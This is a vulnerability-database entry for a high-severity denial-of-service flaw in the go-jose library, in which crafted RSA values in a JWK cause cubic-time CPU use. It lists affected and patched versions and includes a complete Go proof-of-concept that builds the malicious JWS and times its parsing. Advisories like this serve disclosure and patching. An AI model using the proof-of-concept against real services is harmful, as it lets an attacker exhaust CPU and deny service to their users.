CVE-2026-116587High· 7.5▾ TwilightGo JOSE: DoS when parsing JWKs that contain RSA keys
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Stakeholder-Specific Vulnerability Categorization from CISA's ADP record at CVE.org: whether exploitation is observed, whether an attack can be automated, and how much of the system is at stake.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.4%
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
github.com/go-jose/go-jose/v4 <= 4.1.5github.com/go-jose/go-jose/v3 <= 3.0.5Upgrade to a patched release:
github.com/go-jose/go-jose/v4 4.1.6Connected by shared product, vendor, weakness, or advisory.
CVE-2026-113729High· 7.5Moov signedxml: Unauthenticated denial of service in exclusive XML canonicalization
CVE-2026-39820High· 7.5Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.
CVE-2026-116577Medium· 5.3Tornado: Quadratic CPU usage when parsing HTTP headers with line folding
CVE-2026-96640High· 7.5pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)
CVE-2026-114138High· 7.5djangorestframework: djangorestframework: Denial of Service via unbounded Accept header parsing (CVE-2026-114138)
CVE-2026-112894High· 7.5Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)